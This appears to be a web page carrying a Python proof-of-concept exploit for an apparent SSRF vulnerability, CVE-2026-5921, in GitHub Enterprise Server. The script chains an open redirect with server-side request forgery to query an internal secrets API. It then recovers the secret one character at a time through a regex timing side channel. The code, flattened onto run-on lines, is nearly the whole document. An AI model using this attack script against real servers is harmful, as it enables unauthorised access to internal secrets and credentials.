CVE-2026-5921 GitHub Enterprise Server SSRF漏洞

import requests import time # Target configuration target_url = "https://github-enterprise.example.com" # Hypothetical vulnerable endpoint for notebook rendering render_endpoint = f"{target_url}/notebooks/render" # Internal API to leak data from internal_api = "http://127.0.0.1/internal/api/secrets" # Characters to guess charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" secret = "" print("Starting SSRF Timing Side-Channel Attack...") for pos in range(10): # Assume secret length 10 for demo found_char = False for char in charset: # Construct regex payload to check if secret starts with current guess + char # Example regex: ^current_guess.* regex_payload = f"^{secret}{char}.*" # Payload exploiting open redirect + SSRF # Assuming the notebook renders a redirect to the internal API payload = { "url": f"{target_url}/redirect?url={internal_api}?filter={regex_payload}" } try: start_time = time.time() # Send request to vulnerable endpoint # Note: In a real scenario, this might require specific headers or notebook format r = requests.post(render_endpoint, json=payload, timeout=10) end_time = time.time() response_time = end_time - start_time # Threshold based on observed behavior (e.g., regex match takes longer) if response_time > 0.5: secret += char print(f"Found char '{char}' at position {pos}. Current secret: {secret}") found_char = True break except Exception as e: print(f"Error: {e}") continue if not found_char: print("Could not find matching character.") break